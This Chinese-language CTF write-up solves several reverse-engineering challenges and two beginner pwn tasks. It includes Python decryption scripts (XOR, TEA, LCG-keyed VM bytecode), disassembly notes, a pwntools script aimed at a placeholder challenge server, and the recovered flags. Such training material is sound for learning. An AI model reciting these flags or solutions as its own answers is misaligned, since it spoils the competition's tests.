1 2 3 4 5 6 7 mov eax, DWORD PTR [rip+0xf72] ; 0x140003014 mov DWORD PTR [rbp-0x8], eax ; key ; for (i = 0; i <= 0x29; i++) ; key 右移 ((i & 3) * 8) 位,取低 8 位 ; 密文第 i 字节异或这个字节 ; 再异或 ((17 * i + 61) & 0xff)
.data 段中的数据:
1 2 3 4 0x140003014: ad e4 cc 91 -> key = 0x91CCE4AD 0x140003018: f6 c6 f2 86 57 43 1a 14 1f 54 5d 30 c8 90 d1 e5 a6 f6 f4 5f 58 17 1d 0d 30 3a 0d f2 c4 99 81 bb 81 c7 c0 4e 66 61 63 36 78 6f
共 42 字节。解密公式为:
1 2 3 flag[i] = enc[i] XOR ((key >> (8 * (i mod 4))) mod 256) XOR ((17 * i + 61) mod 256)
其中:
1 2 key = 0x91CCE4AD i = 0, 1, 2, ..., 41
Python 解密:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 key = 0x91CCE4AD enc = bytes .fromhex( "f6c6f28657431a141f545d30c890d1e5" "a6f6f45f58171d0d303a0df2c49981bb" "81c7c04e66616336786f" ) flag = bytes ( b ^ ((key >> (8 * (i & 3 ))) & 0xff ) ^ ((17 * i + 61 ) & 0xff ) for i, b in enumerate (enc) ).decode() print (flag)
输出:
1 flag{5u1wfvYln6HFLWNdQbXH86kpWvfqMsOj7ls0}
flag 是固定内容,不依赖 Challenge ID;Challenge ID 只决定电脑的出拳序列。
定位主函数
CRT 启动流程最终在 0x140001152 调用 0x1400021e0,这就是主函数。其逻辑可以整理为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int main () { init_console(); set_console_mode(); uint32_t challenge_id = 0 ; if (BCryptGenRandom(NULL , &challenge_id, 4 , BCRYPT_USE_SYSTEM_PREFERRED_RNG) == 0 ) { print_banner_and_id(challenge_id); play_game(challenge_id); press_enter_to_exit(); } else { puts ("[-] Failed to generate Challenge ID." ); } return 0 ; }
对应地址:
Flag
flag{5u1wfvYln6HFLWNdQbXH86kpWvfqMsOj7ls0}
RE06 — 年度 3A 冒险巨作
年度 3A 开放世界冒险巨作,震撼上线!
游戏特色:
画质全靠脑补。
地图全靠想象。
剧情全靠理解。
通关全靠缘分。
你以为这是《艾尔登法环》。
玩了半天才发现,这是《艾尔登法烦》。
左转,死路。
右转,死路。
好不容易找到一条新路线,结果又回到了熟悉的地方。
经过无数次尝试,你终于悟了:
这哪是开放世界,这分明是开放式坐牢!
不过,既然正常玩游戏走不通,那不如换个玩法。
听说有些游戏虽然把自己打包得严严实实,却忘了把通关规则一起藏好。
思路
用 pyinstxtractor.py 解包,得到 main.pyc 以及 PYZ 中的 game.pyc、puzzle.pyc、flag_data.pyc。Python 3.11 字节码可用 marshal.loads(data[16:]) 加 dis 阅读。
地图为 2×2:入口(0) → 旧书房(1) → 宝箱室(3) → 机关室(2)。旧书房调查得 STARLIGHT,机关室得 7X3K9Q。宝箱口令为:
1 password = "RAT" + "739" + f"{team_nonce % 1000:03d}" + "F"
其中 "STARLIGHT"[1:4][::-1] = "RAT","7X3K9Q"[::2] = "739",chr(70) = "F"。
过程
脚本提取并解密 flag
下面的脚本直接扫描 chall_06.exe,完成数据块定位、CRC 校验、字段解析、flag 解密,并顺便计算宝箱口令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 import structimport zlibMAGIC = b"ZG26_RE06_PYADV!!" SCHEMA_VERSION = 1 FLAG_LENGTH = 42 BLOCK_SIZE = len (MAGIC) + 1 + 4 + 1 + FLAG_LENGTH + 4 path = "chall_06.exe" data = open (path, "rb" ).read() valid = [] start = 0 while True : off = data.find(MAGIC, start) if off < 0 : break start = off + 1 block = data[off:off + BLOCK_SIZE] if len (block) != BLOCK_SIZE: continue expected_crc = struct.unpack("<I" , block[-4 :])[0 ] actual_crc = zlib.crc32(block[:-4 ]) & 0xFFFFFFFF if expected_crc != actual_crc: continue pos = len (MAGIC) version = block[pos] pos += 1 team_nonce = struct.unpack("<I" , block[pos:pos + 4 ])[0 ] pos += 4 flag_key = block[pos] pos += 1 flag_cipher = block[pos:pos + FLAG_LENGTH] pos += FLAG_LENGTH if version != SCHEMA_VERSION: continue try : flag = bytes (b ^ flag_key for b in flag_cipher).decode("ascii" ) except UnicodeDecodeError: continue if len (flag) != FLAG_LENGTH or not (flag.startswith("flag{" ) and flag.endswith("}" )): continue valid.append({ "offset" : off, "team_nonce" : team_nonce, "flag_key" : flag_key, "flag_cipher" : flag_cipher, "flag" : flag, "crc" : expected_crc, }) assert len (valid) == 1 , f"expected one valid block, got {len (valid)} " info = valid[0 ] print (f"block offset : 0x{info['offset' ]:X} " )print (f"team_nonce : {info['team_nonce' ]} " )print (f"flag_key : {info['flag_key' ]} (0x{info['flag_key' ]:02X} )" )print (f"cipher : {info['flag_cipher' ].hex ()} " )print (f"crc32 : 0x{info['crc' ]:08X} " )print (f"flag : {info['flag' ]} " )part1 = "STARLIGHT" [1 :4 ][::-1 ] part2 = "7X3K9Q" [::2 ] part3 = chr (70 ) part4 = f"{info['team_nonce' ] % 1000 :03d} " password = part1 + part2 + part4 + part3 print (f"password : {password} " )
本样本的运行结果为:
1 2 3 4 5 6 7 block offset : 0x7BA6B9 team_nonce : 2194139215 flag_key : 240 (0xF0) cipher : 969c91978b83848884c79aa6c8a4bb82c5bfb8a2bdb98180b1c4a281b7bc9dc889a3958497c3b384c58d crc32 : 0x9389ACD9 flag : flag{stxt7jV8TKr5OHRMIqpA4RqGLm8ySetg3Ct5} password : RAT739215F
数据块正好位于文件末尾:
1 0x7BA6B9 + 69 = 0x7BA6FE = 文件大小 8103678
口令计算过程为:
1 2 3 4 5 6 part1 = "STARLIGHT"[1:4][::-1] = "RAT" part2 = "7X3K9Q"[::2] = "739" part4 = f"{2194139215 % 1000:03d}" = "215" part3 = chr(70) = "F" password = "RAT" + "739" + "215" + "F" = "RAT739215F"
分析宝箱口令
puzzle.pyc 中的 generate_password(team_nonce) 还原后等价于:
1 2 3 4 5 6 7 8 9 10 def generate_password (team_nonce: int ) -> str : a = "STARLIGHT" b = "7X3K9Q" part1 = a[1 :4 ][::-1 ] part2 = b[::2 ] part3 = chr (70 ) part4 = f"{team_nonce % 1000 :03d} " return part1 + part2 + part4 + part3
注意这里的两个切片:
a[1:4] 取到 "TAR",再 [::-1] 反转得到 "RAT";
b[::2] 是取下标 0, 2, 4 的字符,不是 b[:2],结果为 "739"。
另外:
chr(70) 是字符 F;
part4 是 team_nonce % 1000 的三位十进制补零。
验证函数则非常直接:
1 2 3 def verify_password (user_input: str , team_nonce: int ) -> bool : expected = generate_password(team_nonce) return user_input == expected
所以口令公式为:
1 password = "RAT" + "739" + f"{team_nonce % 1000:03d}" + "F"
宝箱上的提示“顺序决定答案”对应的就是拼接顺序:
1 part1 + part2 + part4 + part3
而不是按照变量声明顺序 part1 + part2 + part3 + part4。
接下来只缺 team_nonce,它保存在程序尾部的动态 flag 数据块中。
Flag
flag{stxt7jV8TKr5OHRMIqpA4RqGLm8ySetg3Ct5}
RE07 — 诶,捡到了一部野生手机耶
手机里有一款神秘 App。
打开一看,界面干净得像刚格式化过。
没广告。
没弹窗。
没乱七八糟的会员充值。
你感动了。
在这个时代,居然还能遇到如此纯粹的软件。
直到你发现——
它连 Flag 都不给你看。
不是所有秘密都需要在屏幕上营业。
有空多翻翻 APK 的内部文件,别光顾着点按钮。
思路
APK 就是 ZIP,解压后可见 challenge.dat(62 字节)和 classes*.dex,关键类为 ChallengeData、FlagDecoder、AccessCodeVerifier。
数据块格式:magic PSCHAT07(8) + 版本(1) + deviceId(3) + flagKey(4, 大端) + 密文(42) + checksum(4, 大端)。deviceId 的拼装顺序特殊:
\[
\text{deviceId}=(b_{10}\ll8)\mid(b_9\ll16)\mid b_{11}\]访问口令为 ZG-%06X,值为 $((2467779\oplus\text{deviceId})+79225)\bmod2^{24}$。
过程
完整解题脚本
下面的脚本不依赖 Android 环境,直接读取解压后的 challenge.dat,完成数据校验、访问口令计算和 Flag 解密:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 import pathlibimport structDATA = pathlib.Path("chall_07_unzip/res/raw/challenge.dat" ) def rotl32 (x: int , n: int ) -> int : x &= 0xFFFFFFFF n &= 31 return ((x << n) | (x >> (32 - n))) & 0xFFFFFFFF def challenge_checksum (data: bytes , length: int ) -> int : v = 324478056 for i in range (length): v = (rotl32((data[i] & 0xFF ) ^ v, 5 ) + 4129 ) & 0xFFFFFFFF return v def main () -> None : b = DATA.read_bytes() assert len (b) == 62 , f"bad length: {len (b)} " assert b[:8 ] == b"PSCHAT07" , "bad magic" assert b[8 ] == 1 , "bad version" stored_checksum = struct.unpack(">I" , b[58 :62 ])[0 ] calc_checksum = challenge_checksum(b, 58 ) print (f"[*] checksum: calc={calc_checksum:08X} , stored={stored_checksum:08X} " ) assert calc_checksum == stored_checksum, "challenge data damaged" device_id_value = ( ((b[10 ] & 0xFF ) << 8 ) | ((b[9 ] & 0xFF ) << 16 ) | (b[11 ] & 0xFF ) ) device_id = f"{device_id_value:06X} " print (f"[*] deviceId: {device_id} " ) code = f"ZG-{(((2467779 ^ device_id_value) + 79225 ) & 0xFFFFFF ):06X} " print (f"[*] access code: {code} " ) flag_key = struct.unpack(">I" , b[12 :16 ])[0 ] cipher = b[16 :58 ] print (f"[*] flagKey: 0x{flag_key:08X} " ) plain = bytearray () for i, c in enumerate (cipher): k = rotl32(((66051 * i) + 73244475 ) ^ flag_key, i & 31 ) plain.append(c ^ (k & 0xFF )) flag = plain.decode("ascii" ) print (f"[*] flag: {flag} " ) assert len (flag) == 42 assert flag.startswith("flag{" ) and flag.endswith("}" ) if __name__ == "__main__" : main()
运行结果:
1 2 3 4 5 [*] checksum: calc=C3C5CE47, stored=C3C5CE47 [*] deviceId: 47CE28 [*] access code: ZG-639F64 [*] flagKey: 0x3BFA4E52 [*] flag: flag{1ZasFt08qHGW77MliySqhQSGTVMrBWbqaKAq}
checksum 校验
校验函数:
1 2 3 4 5 6 7 8 9 10 public static int checksum (byte [] p4, int p5) { int v0 = 324478056 ; int v1 = 0 ; while (v1 < p5) { v0 = Integer.rotateLeft(((p4[v1] & 255 ) ^ v0), 5 ) + 4129 ; v1++; } return v0; }
写成公式,令 \(c_0 = 324478056\),则:
\[c_{i+1} = \left(\operatorname{ROL32}(c_i \oplus b_i, 5) + 4129\right) \bmod 2^{32} \]
其中:
\[\operatorname{ROL32}(x,n) = ((x \ll n) \mid (x \gg (32-n))) \bmod 2^{32} \]
对前 58 字节计算得到:
1 2 computed checksum = 0xC3C5CE47 stored checksum = 0xC3C5CE47
校验通过,说明数据没有被改坏。
Flag
flag{1ZasFt08qHGW77MliySqhQSGTVMrBWbqaKAq}
RE08 — 不存在的档案
紧急公告:
档案丢了。
搜索:没有。
查询:没有。
打开文件夹:还是没有。
你已经准备宣布破案失败了。
结果程序突然从不知道哪里掏出来一份完整数据。
?
你刚才不是说没有吗?
这下好了。
文件不存在。
数据还活着。
建议不要光翻文件夹,也看看 EXE 有没有偷偷兼职当仓库。
思路
程序导入 FindResourceW、LoadResource、LockResource,从 RT_RCDATA 取数据。资源 104 是 Base64 文本 QVIwNAEAAABJHFq5,解码得到 AR04 + 版本 1 + 4 字节小端密钥 0xB95A1C49。资源 105 是 42 字节密文。
解密公式:
\[
p_i=(c_i-k_{i\bmod4}-7i)\bmod256\]过程
方法二:直接按文件偏移取资源
本题的 .rsrc 节 RVA 为 0x14000A000,文件偏移为 0x5000。资源 104 的数据 RVA 是 0xA0D0,资源 105 的数据 RVA 是 0xA0E0,换算成文件偏移分别是:
1 2 资源 104:0x50D0,长度 16 资源 105:0x50E0,长度 42
因此也可以完全不依赖 pefile:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import base64with open ("chall_08.exe" , "rb" ) as f: data = f.read() r104 = data[0x50D0 :0x50D0 + 16 ] r105 = data[0x50E0 :0x50E0 + 42 ] blob = base64.b64decode(r104) key = int .from_bytes(blob[8 :12 ], "little" ) plain = bytes ( (c - ((key >> (8 * (i & 3 ))) & 0xFF ) - 7 * i) & 0xFF for i, c in enumerate (r105) ) print (plain.decode())
同样得到:
1 flag{kDrAsgd8tsIk8zmJQAZAL6LdbDBG0phv6L14}
定位关键代码
在 IDA 中可以看到几个关键函数(镜像基址为 0x140000000):
Flag
flag{kDrAsgd8tsIk8zmJQAZAL6LdbDBG0phv6L14}
RE09 — 最后一封密信
收到一封绝密文件。
保密等级:MAX。
打开:乱码。
换编码:乱码。
换软件:乱码。
复制给 AI:看起来像加密数据。
谢谢你,AI。
非常有帮助。
研究半天后,终于发现这玩意儿似乎喜欢把数据分成一块一块的,再反复折腾。
不是,哥们,你寄封信而已,至于让每个字节都经历九九八十一难吗?
思路
通信参数为 64 位分组、128 位密钥、32 轮、小端,标准 TEA。真正密钥在 .rdata 的 0x140004560,而 0x140004580 的 ZGRE09TEAPATCH!! 虽像密钥但从未被引用。密文从 0x140004591 开始,共 48 字节。
校验时先检查长度 42、flag{ 前缀和 } 结尾,再用 memset 在末尾补 6 个 0x06,最后逐块 TEA 加密并与密文比较。程序里同样有一段 UUID 格式检查被 jmp 架空。
过程
解密
TEA 的解密就是把加密轮倒过来。初始
\[
S = (32\Delta) \bmod 2^{32} = \texttt{0xC6EF3720}\]每轮先逆 $v_1$,再逆 $v_0$:
\[
v_1 \leftarrow \left(v_1 - \left(\left((v_0 \ll 4) + k_2\right) \oplus \left((v_0 + S) \bmod 2^{32}\right) \oplus \left((v_0 \gg 5) + k_3\right)\right)\right) \bmod 2^{32}\]\[
v_0 \leftarrow \left(v_0 - \left(\left((v_1 \ll 4) + k_0\right) \oplus \left((v_1 + S) \bmod 2^{32}\right) \oplus \left((v_1 \gg 5) + k_1\right)\right)\right) \bmod 2^{32}\]\[
S \leftarrow (S - \Delta) \bmod 2^{32}\]重复 32 次即可。完整脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import structCT = bytes .fromhex( "005bffac943aaf18f0065598cfa58262" "a8659d33bf88a86e38366f7d45455ea2" "35e00c170418016c826346916e3825ea" ) KEY_BYTES = bytes .fromhex("6824571357136824efcdab8947382910" ) K = struct.unpack("<4I" , KEY_BYTES) DELTA = 0x9E3779B9 MASK = 0xFFFFFFFF def enc_block (b ): v0, v1 = struct.unpack("<2I" , b) s = 0 for _ in range (32 ): s = (s + DELTA) & MASK v0 = (v0 + ((((v1 << 4 ) & MASK) + K[0 ]) ^ ((v1 + s) & MASK) ^ ((v1 >> 5 ) + K[1 ]))) & MASK v1 = (v1 + ((((v0 << 4 ) & MASK) + K[2 ]) ^ ((v0 + s) & MASK) ^ ((v0 >> 5 ) + K[3 ]))) & MASK return struct.pack("<2I" , v0, v1) def dec_block (b ): v0, v1 = struct.unpack("<2I" , b) s = (DELTA * 32 ) & MASK for _ in range (32 ): v1 = (v1 - ((((v0 << 4 ) & MASK) + K[2 ]) ^ ((v0 + s) & MASK) ^ ((v0 >> 5 ) + K[3 ]))) & MASK v0 = (v0 - ((((v1 << 4 ) & MASK) + K[0 ]) ^ ((v1 + s) & MASK) ^ ((v1 >> 5 ) + K[1 ]))) & MASK s = (s - DELTA) & MASK return struct.pack("<2I" , v0, v1) pt = b"" .join(dec_block(CT[i:i + 8 ]) for i in range (0 , len (CT), 8 )) print ("plaintext :" , pt)print ("re-encrypt matches:" , b"" .join(enc_block(pt[i:i + 8 ]) for i in range (0 , len (pt), 8 )) == CT) print ("flag :" , pt[:42 ].decode())
运行结果:
1 2 3 plaintext : b'flag{hswy6uWgoDohy0j0umgtOU9ia0ouJ4HSr0ci}\x06\x06\x06\x06\x06\x06' re-encrypt matches: True flag : flag{hswy6uWgoDohy0j0umgtOU9ia0ouJ4HSr0ci}
末尾正好 6 个 0x06,与 memset(out+42, 6, 6) 完全对应;把去掉填充后的 42 字节重新加密,也能逐字节还原出原密文,说明密钥、轮数、分组字节序都没有偏差。
如果换成诱饵字符串 ZGRE09TEAPATCH!! 作密钥,解出来是:
1 2 dd 2e e1 08 2a 5a e0 6a dd 25 f9 eb 33 6a 27 06 ...
一堆不可打印字节,这也从反面确认了 0x140004560 才是真密钥。
校验流程
主函数在 0x1400021A0,依次调用 0x140001580(CRT 初始化)、0x1400026C0(把控制台代码页设成 0xFDE9,即 UTF-8)、0x140002240(打印横幅和通信信息)、0x1400025C0(菜单循环)。
菜单选 3 时:
1 2 3 4 14000264D lea rax, [rbp-0x60] 140002651 mov edx, 0x100 140002659 call 0x140002500 ; fgets 读入,去掉 \r\n 14000266D call 0x140002060 ; 校验
校验函数 0x140002060 做三件事:
1 2 3 140002077 call 0x1400021D0 ; 格式检查 + 复制 42 字节 + 补 6 字节 14000209D call 0x140002AA0 ; 对 48 字节做 TEA 加密 1400020A9 call 0x1400020F0 ; 与密文比较
Flag
flag{hswy6uWgoDohy0j0umgtOU9ia0ouJ4HSr0ci}
RE10 — 唤醒之后
系统醒了。
你也醒了。
只有 Flag 还没醒。
输入:
再输:
换个姿势输:
你怒了。
打开 IDA,准备直接拿下验证函数。
结果看见一堆寄存器、Opcode、虚拟 PC……
等一下。
这不是一个程序吗?
怎么里面还有一个?
思路
.data 的 0x140004060 起为 ZGRE10WAKEPATCH! + 版本 1 + 种子 0xE076F513 + 长度 0x0394 + 916 字节密文。解密使用 Numerical Recipes 的 LCG:
\[
s_{k+1}=(1664525s_k+1013904223)\bmod2^{32},\quad K_k=s_{k+1}\gg24\]种子先与 0xA5C39E17 异或。解出的字节码每条 3 字节 [opcode][a][b],0xFF 为 2 字节停机指令,共 306 条。
解释器有 4 个 8 位寄存器,指令集为 LOAD / MOVI / XOR / ADD / ROL / CMP / JNE / HALT。字节码按 JNE 切成 42 块,每块校验一个字符,其中 5 个链式块会异或前一个字符。
过程
求解脚本
脚本直接从 PE 里取密文,按程序里同样的方式解密,再反汇编、按块反推,最后用自己实现的 VM 复验:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 import pefilePATH = 'chall_10.exe' pe = pefile.PE(PATH) IB = pe.OPTIONAL_HEADER.ImageBase img = pe.get_memory_mapped_image() mem = lambda va, n: img[va - IB: va - IB + n] assert mem(0x140004060 , 16 ) == b'ZGRE10WAKEPATCH!' version = mem(0x140004070 , 1 )[0 ] seed = int .from_bytes(mem(0x140004071 , 4 ), 'little' ) length = int .from_bytes(mem(0x140004075 , 2 ), 'little' ) assert version == 1 and length == 0x394 def keystream (seed, n ): st, out = seed & 0xffffffff , bytearray () for _ in range (n): st = (st * 0x19660D + 0x3C6EF35F ) & 0xffffffff out.append(st >> 24 ) return bytes (out) enc = mem(0x140004077 , length) code = bytes (a ^ b for a, b in zip (enc, keystream(seed ^ 0xA5C39E17 , length))) assert code[-4 :] == b'\xff\x01\xff\x00' OPS = {1 :'LOAD' , 2 :'MOVI' , 3 :'XOR' , 4 :'ADD' , 5 :'ROL' , 6 :'CMP' , 7 :'JNE' , 0xff :'HALT' } def disasm (code ): out, pc = [], 0 while pc < len (code): op = code[pc] if op == 0xff : out.append([pc, 'HALT' , code[pc + 1 ]]); pc += 2 elif op == 7 : out.append([pc, 'JNE' , code[pc + 1 ] | code[pc + 2 ] << 8 ]); pc += 3 else : out.append([pc, OPS[op], code[pc + 1 ], code[pc + 2 ]]); pc += 3 return out ins = disasm(code) groups, cur = [], [] for it in ins: cur.append(it) if it[1 ] == 'JNE' : groups.append(cur); cur = [] assert len (groups) == 42 ror = lambda v, n: ((v >> n) | (v << (8 - n))) & 0xff inp = [0 ] * 42 for i, g in enumerate (groups): reg = {} for it in g: if it[1 ] == 'LOAD' : reg[it[2 ]] = ('in' , it[3 ]) elif it[1 ] == 'MOVI' : reg[it[2 ]] = ('c' , it[3 ]) cmp_ins = [it for it in g if it[1 ] == 'CMP' ][0 ] v = reg[cmp_ins[3 ]][1 ] for it in reversed (g): if it[1 ] == 'ROL' : v = ror(v, it[3 ]) elif it[1 ] == 'ADD' : v = (v - reg[it[3 ]][1 ]) & 0xff elif it[1 ] == 'XOR' : src = reg[it[3 ]] v ^= inp[src[1 ]] if src[0 ] == 'in' else src[1 ] inp[i] = v flag = bytes (inp) print (flag.decode())def run_vm (s ): pc, r, zf = 0 , [0 , 0 , 0 , 0 ], 0 while pc < len (code): op = code[pc]; pc += 1 if op == 0xff : return code[pc] a, b = code[pc], code[pc + 1 ]; pc += 2 if op == 1 : r[a] = s[b] elif op == 2 : r[a] = b elif op == 3 : r[a] ^= r[b] elif op == 4 : r[a] = (r[a] + r[b]) & 0xff elif op == 5 : r[a] = ((r[a] << b) | (r[a] >> (8 - b))) & 0xff elif op == 6 : zf = int (r[a] == r[b]) elif op == 7 : if zf == 0 : pc = a | (b << 8 ) else : return -1 return -1 print ('VM =' , run_vm(flag))
输出:
1 2 3 4 [+] seed=0xe076f513 version=1 len=916 tail=ff 01 ff 00 [+] 306 instructions [+] flag = flag{fBrATj60k05alnk4vJMHOxFKChCohHOVevv4} [+] VM(...) = 1
如果不想写反汇编器,也可以直接用 VM 逐位尝试:固定前面已经求出的字符,对当前位置枚举 0~255,跑一遍虚拟机,能把执行步数推进到下一个块的候选就是正确字符(最后一位再用 HALT(1) 判断),42 × 256 次模拟对 306 条指令的规模来说完全可以忽略。
校验流程
选 2 时走 0x140002D50:读一行(最多 0x100 字节),然后交给 0x140003290。0x140003290 做三件事:
0x140002260 检查格式;
0x140002E50 检查字节码结构;
初始化 VM,执行 0x140003350,只有返回 1 才打印 ACCESS GRANTED。
格式检查这一段的细节挺有意思。函数 0x140002260 里能看到两种逻辑:
1 2 3 4 if (strlen (s) != 0x2A ) return 0 ; if (s[0 ] != 'f' || s[1 ] != 'l' || s[2 ] != 'a' || s[3 ] != 'g' || s[4 ] != '{' ) return 0 ; if (s[0x29 ] != '}' ) return 0 ;
紧接着还有一段“第 13、18、23、28 位必须是 -,其余必须是十六进制字符”的循环(0x140002303 ~ 0x140002387),看起来是想把 flag 限制成 flag{8-4-4-4-12} 的 UUID 形状。但 0x1400022F9 处是一条无条件跳转,直接跳到函数结尾的 mov eax, 1,那段循环只有它自己往回跳(0x140002387),没有任何入口,是永远执行不到的死代码。
所以实际生效的格式约束只有:长度 42、以 flag{ 开头、以 } 结尾。这也解释了后面解出来的 flag 里并没有横杠。
Flag
flag{fBrATj60k05alnk4vJMHOxFKChCohHOVevv4}
PWN Pwn01 — 胖!什么是胖?
欢迎小CTFer来到Pwn的世界,即将成为传说中的Pwn爷✌
其实Pwn并没有那么难,跟着N1题目的思路,可以一步步做出这些题目
本次比赛所有的题目新手零基础跟着指引都可以做出来,有问题也可以联系N1
先阅读README.md,了解题目
然后阅读GUIDE.md,根据提示一步步做
思路
main 中两次调用 fgets,第一次读名字,第二次读魔法词,随后用 strcasecmp(input, "pwnstars") 比较,相等则调用 print_flag()。缓冲区大小与读取长度严格匹配,没有溢出,也不存在格式化字符串问题。
过程
main 的完整流程
把 main 反汇编后,可以整理成下面这样的 C 伪代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 int main (void ) { char name[0x80 ]; char input[0x80 ]; setup_buffering(); print_pwnstars_logo(); puts ("============================================================================" ); puts ("Challenge : Hello Pwn" ); puts ("Level : Beginner" ); puts ("Topic : NC / TCP / Remote Interaction" ); puts ("Author : N1" ); puts ("..." ); puts ("What is your name?" ); printf ("Name > " ); if (fgets(name, 0x80 , stdin ) == NULL ) { puts ("\n[!] 连接已结束,没有收到输入。" ); return 0 ; } name[strcspn (name, "\n" )] = '\0' ; if (name[0 ] == '\0' ) { *(u64 *)&name[0 ] = 0x756f6d796e6f6e41 ULL; *(u16 *)&name[8 ] = 0x0073 ; } printf ("\nHello, %s!\n" , name); puts ("很高兴见到你。现在进行最后一步。" ); puts ("Then answer the magic word:" ); printf ("Input > " ); if (fgets(input, 0x80 , stdin ) == NULL ) { puts ("\n[!] 连接已结束,没有收到输入。" ); return 0 ; } input[strcspn (input, "\n" )] = '\0' ; if (strcasecmp(input, "pwnstars" ) == 0 ) { puts ("\n[+] Connection test passed." ); puts ("[+] Welcome to Pwn!" ); putchar ('\n' ); print_flag(); } else { puts ("\n[-] Wrong answer." ); puts ("[-] 提示:魔法词就写在 GUIDE.md 的说明里,再看看。" ); puts ("[-] 连不上或想重新开始?请重新运行程序。" ); } puts ("\n[+] 连接正常,程序已结束。带上 Flag 去提交吧!" ); return 0 ; }
对应到关键汇编:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 ; 读取名字 4014c0: mov rdx, QWORD PTR [stdin] 4014c7: lea rax, [rbp-0x80] ; name 缓冲区 4014cb: mov esi, 0x80 ; 最多 0x80 字节 4014d0: mov rdi, rax 4014d3: call fgets@plt ; 去掉末尾换行 4014f3: lea rax, [rbp-0x80] 4014f7: lea rsi, [rip+0xf17] # "\n" 401501: call strcspn@plt 401506: mov BYTE PTR [rbp+rax-0x80], 0 ; 空名字填 Anonymous 40150b: lea rax, [rbp-0x80] 40150f: movzx eax, BYTE PTR [rax] 401512: test al, al 401514: jne 0x40152d ; 打印问候 40152d: lea rax, [rbp-0x80] 401531: mov rsi, rax 401534: lea rdi, [rip+0xedc] # "\nHello, %s!\n" 401540: call printf@plt ; 读取魔法词 40157f: lea rax, [rbp-0x100] ; input 缓冲区 401586: mov esi, 0x80 40158e: call fgets@plt ; 比较,注意是 strcasecmp 4015cc: lea rax, [rbp-0x100] 4015d3: lea rsi, [rip+0xea4] # "pwnstars" 4015dd: call strcasecmp@plt 4015e2: test eax, eax 4015e4: jne 0x40160f ; 不相等 -> Wrong answer ; 相等 -> print_flag() 401608: call print_flag
几个值得注意的细节:
没有栈溢出 。name 和 input 都正好是 0x80 字节,fgets 的第二个参数也是 0x80。fgets 最多读 size - 1 个字符,末尾自动补 \0,所以缓冲区刚好装得下,不存在越界写。
换行会被去掉 。strcspn(buf, "\n") 找到 \n 的位置并把那里改成 \0。因此比较时不会把换行一起带进去。
比较是大小写不敏感的 。用的是 strcasecmp 而不是 strcmp,所以输入 pwnstars、PWNSTARS、PwnStars 都能通过。
空名字不会出错 。程序会把空字符串替换成 Anonymous,然后正常问候。
两个缓冲区的位置 :name 在 rbp-0x80,input 在 rbp-0x100,中间相隔 0x80 字节。布局很规整,但本题不需要利用它。
Flag
flag{abab0018-4b04-4c0e-aadd-fe244360bf93}
Pwn02 — ELF?这茂密能吃吗?
欢迎来到 Pwn 世界的第二关!
听说每个程序里都藏着一些不为人知的小秘密……
可是 ELF 是什么?难道是住在计算机里的小茂密吗? 像碰星实验室的米米一样可爱吗?
N1 偷偷告诉你: 想追到自己喜欢的人 首先要了解ta的身体
想成为一名真正的 Pwn 师傅,首先要学会看懂程序的身体结构
这次我们不急着攻击程序,先来认识一下这位神秘的 ELF 小茂密 吧!
说不定……它已经悄悄把通往 Flag 的线索告诉你了呢?
思路
程序未 strip,nm 可直接得到 pwnstars_secret = 0x401500。由于 No PIE,符号地址就是运行时地址。
Stage 2 会在三种表达式中随机选一种:(a+b)*c、(a*c)+b、a+b+c。第二种在屏幕上显示的顺序是 a, c, b,不能硬套成 a, b, c。Stage 3 计算 (x ^ magic1) + magic2,正则只取等号后的数字,避免把变量名里的 1、2 抓出来。两个 Stage 都有 3 秒时限。
过程
完整 pwntools 脚本
本地和远程只在 process() 与 remote() 这一行不同,后面的收发完全一样。下面这份脚本先读本地 ELF 的符号表拿地址,再连远程依次通过三个 Stage:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *import recontext.arch = "amd64" context.log_level = "info" elf = ELF("./chall" , checksec=False ) addr = elf.symbols["pwnstars_secret" ] log.info("pwnstars_secret = %#x" , addr) p = remote("xxx" , 12345 ) p.sendlineafter(b"Address > " , hex (addr).encode()) p.recvuntil(b"Calculate:\n" ) line = p.recvline().decode().strip() log.info("stage2 expression: %s" , line) n0, n1, n2 = map (int , re.findall(r"\d+" , line)) compact = line.replace(" " , "" ) if compact.startswith("(" ) and ")*" in compact: ans2 = (n0 + n1) * n2 elif compact.startswith("(" ) and ")+" in compact: ans2 = n0 * n1 + n2 else : ans2 = n0 + n1 + n2 log.info("stage2 answer: %d" , ans2) p.sendlineafter(b"Answer: " , str (ans2).encode()) p.recvuntil(b"try; " ) line = p.recvline().decode().strip() log.info("stage3 line: %s" , line) magic1, magic2, x = map (int , re.findall(r"=\s*(\d+)" , line)) ans3 = (x ^ magic1) + magic2 log.info("stage3 answer: %d" , ans3) p.sendlineafter(b"Compute the result: " , str (ans3).encode()) print (p.recvall(timeout=5 ).decode(errors="replace" ))
运行:
